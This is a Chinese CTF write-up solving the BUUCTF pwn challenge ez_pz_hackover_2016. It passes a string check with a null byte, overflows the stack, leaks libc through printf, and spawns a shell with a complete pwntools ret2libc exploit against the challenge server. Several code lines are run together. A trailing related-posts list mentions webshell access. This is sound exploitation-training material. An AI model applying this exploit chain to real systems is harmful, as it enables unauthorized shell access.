BUUCTF【ez_pz_hackover_2016】

例行检查

开了relro,其他保护机制都没开,扔到IDA中分析
漏洞分析

chall()函数中,有fgets(),但长度不够覆盖到返回地址,没法溢出,接着会获取s的长度,然后字符串检索,在这里我给出memchr()的定义:*C 库函数 void *memchr(const void str, int c, size_t n) 在参数 str 所指向的字符串的前 n 个字节中搜索第一次出现字符 c(一个无符号字符)的位置。
然后程序会有一个if检查,这里可以通过’\x00’绕过检查,绕过后就有一个明显的vuln(),双击进入查看,

vuln()会将我们输入的字符串拷贝到dest中,我们查看dest的栈空间,

距离返回地址0x32,而程序可以让我们输入0x400的大小,存在栈溢出
这里的具体偏移还要以gdb中动态调试为准确值,ida存在误差
思路和漏洞利用过程
1.我们通过’\x00’绕过if检查机制,通过第一次溢出leak出libc地址
2.第二次溢出去执行system(’/bin/sh’)

第一次构造payload,

payload = 'crashme'
payload += '\x00'
payload = payload.ljust(0x16,'A')
payload += p32(0)
payload += p32(plt_printf)
payload += p32(main)
payload += p32(elf.got['printf'])

这里注意,偏移并不是ida中的0x32,而是0x16,通过gdb调试出来
接下来算出地址再次溢出即可

io.sendline(payload)
io.recvuntil('Welcome crashme!')leak = u32(io.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
success(hex(leak))
libc = LibcSearcher('printf',leak)
libc_base = leak-libc.dump('printf')
success(hex(libc_base))system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
success(hex(system))
success(hex(bin_sh))io.recvuntil('>')payload = 'crashme'
payload += '\x00'
payload = payload.ljust(0x16,'A')
payload += p32(0)
payload += p32(system)
payload += p32(0)
payload += p32(bin_sh)io.sendline(payload)#gdb.attach(io)io.interactive()

buu官方给出的libc版本没出,这里通过libcsearcher来找Libc版本,选取第13个版本可以出。
完整exp

from pwn import *
from LibcSearcher import *elf = ELF('./ez_pz_hackover_2016')
io = remote('node4.buuoj.cn',28085)
#io = process('./ez_pz_hackover_2016')
#libc = ELF('./libc-2.23-32.so')
context.log_level='debug'
main = 0x80486E2
plt_printf = 0x8048430io.recvuntil('>')payload = 'crashme'
payload += '\x00'
payload = payload.ljust(0x16,'A')
payload += p32(0)
payload += p32(plt_printf)
payload += p32(main)
payload += p32(elf.got['printf'])#gdb.attach(io,'b *0x80485E4')
io.sendline(payload)
io.recvuntil('Welcome crashme!')leak = u32(io.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
success(hex(leak))
libc = LibcSearcher('printf',leak)
libc_base = leak-libc.dump('printf')
success(hex(libc_base))system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
success(hex(system))
success(hex(bin_sh))io.recvuntil('>')payload = 'crashme'
payload += '\x00'
payload = payload.ljust(0x16,'A')
payload += p32(0)
payload += p32(system)
payload += p32(0)
payload += p32(bin_sh)io.sendline(payload)#gdb.attach(io)io.interactive()

BUUCTF【ez_pz_hackover_2016】相关推荐

  1. CTF-web做题记录(狼组/BUUCTF)【一】

    CTF-web做题记录(狼组/BUUCTF)[一] WEB 1.ctf.wgpsec 你可能需要一部iphone 题目如下 考察点:user-agent,burp改为iphone的user-agent ...

  2. BUUCTF【axb_2019_fmt32】

    例行检查 是开 了部分relro,可以改写got表,然后栈不可执行不, IDA分析 很简单的一个程序,会先初始化一些后续要用到的栈空间,然后让我们输入,字节数大小会有限制,然后再对我们的输入做一个长度 ...

  3. BUUCTF【Web】Knife

    进入靶场后发现提示菜刀和一句话木马,所以直接上菜刀 因为我没有安装菜刀但是用蚁剑也可以测试连接,URL地址是网址复制,密码是Syc 连接成功后直接登录了后台 在后台根目录下发现了flag文件,点击进行 ...

  4. BUUCTF-Crypto【1-20T】

    1.md5 WU:cmd5解码 [e00cf25ad42683b3df678c61f42c6bda]   2.Url编码 WU:url解码 [%66%6c%61%67%7b%61%6e%64%20%3 ...

  5. 【算法】位运算符基础之某CTF赛题使用Python与易语言纯算法还原

    什么是位运算? 程序中的所有数在计算机内存中都是以二进制的形式储存的.位运算就是直接对整数在内存中的二进制位进行操作.比如,and运算本来是一个逻辑运算符,但整数与整数之间也可以进行and运算.举个例 ...

  6. 【CentOS】利用Kubeadm部署Kubernetes (K8s)

    [CentOS]利用Kubeadm部署Kubernetes (K8s)[阅读时间:约10分钟] 一.概述 二.系统环境&项目介绍 1.系统环境 2.项目的任务要求 三.具体实验流程 1 系统准 ...

  7. 【Spring】框架简介

    [Spring]框架简介 Spring是什么 Spring是分层的Java SE/EE应用full-stack轻量级开源框架,以IOC(Inverse Of Control:反转控制)和AOP(Asp ...

  8. 【C#】类——里式转换

    类是由面对对象程序设计中产生的,在面向结构的程序设计例如C语言中是没有类这个概念的!C语言中有传值调用和传址调用的两种方式!在c语言中,主方法调用方法,通过传递参数等完成一些操作,其中比较常用的的数据 ...

  9. 【C#】Out与ref是干什么的?

    关于return: 1.最后没有写 return 语句的话,表示程序正常退出 2.不需要返回值时,存在return的作用 例子 void main() {return; //return退出该程序的作 ...

最新文章

  1. SpringBoot集成Swagger-Bootstrap-UI,页面更清爽!
  2. 2016_6_27日报
  3. 困了。还得背课文。变词型
  4. 什么是Google On.Here,以及如何设置?
  5. 一篇年薪60万的JVM性能调优文章
  6. Android Studio编译后运行按钮还是灰色的解决方法
  7. solaris 10 虚拟机下安装双机
  8. kettlejava脚本的api_kettle java api 执行 Kettle 的作业和 转换
  9. [实践篇]13.9 如何使用gcore(ramdump)排查内存黑洞?
  10. windows设置hosts
  11. 【PyTorch】pkg_resources
  12. 溢出部分用省略号表示
  13. 从键盘上输入以下的数据:TOM:89|JERRY:90|TONY:95,数据格式为“姓名:成绩|姓名:成绩|姓名:成绩”,对输入的内容按成绩进行排序,并将结果按成绩由高到低排序。
  14. 豆瓣评分高于8.8分的计算机书籍
  15. Ukulele 那些花儿
  16. 哈佛案例 计算机,MBA:哈佛商学院经典案例全集.Image.Marked.pdf
  17. 请教知网检索返回网址的问题
  18. 【book】跟开涛学搭建高可用高并发系统
  19. Mechamical Vibration
  20. 移动Web开发技巧汇总

热门文章

  1. python抽奖简单小程序游戏_python实现抽奖小程序
  2. 谈商业软件的发展趋势
  3. #110-【我也不知道这是什么鬼算法】Ska Piggy Banks
  4. Restful 是什么? 怎么使用Restful
  5. 35+的互联网程序员,人都哪去了?
  6. ELF与BIN文件的生成和转换
  7. python中hub_如何用Python实现hub
  8. 基于PostgreSQL的时区问题解决
  9. 卖一次淫,帮助一名失学儿童--看完…
  10. 超级简单的大疆tello无人机视频实现(很少代码)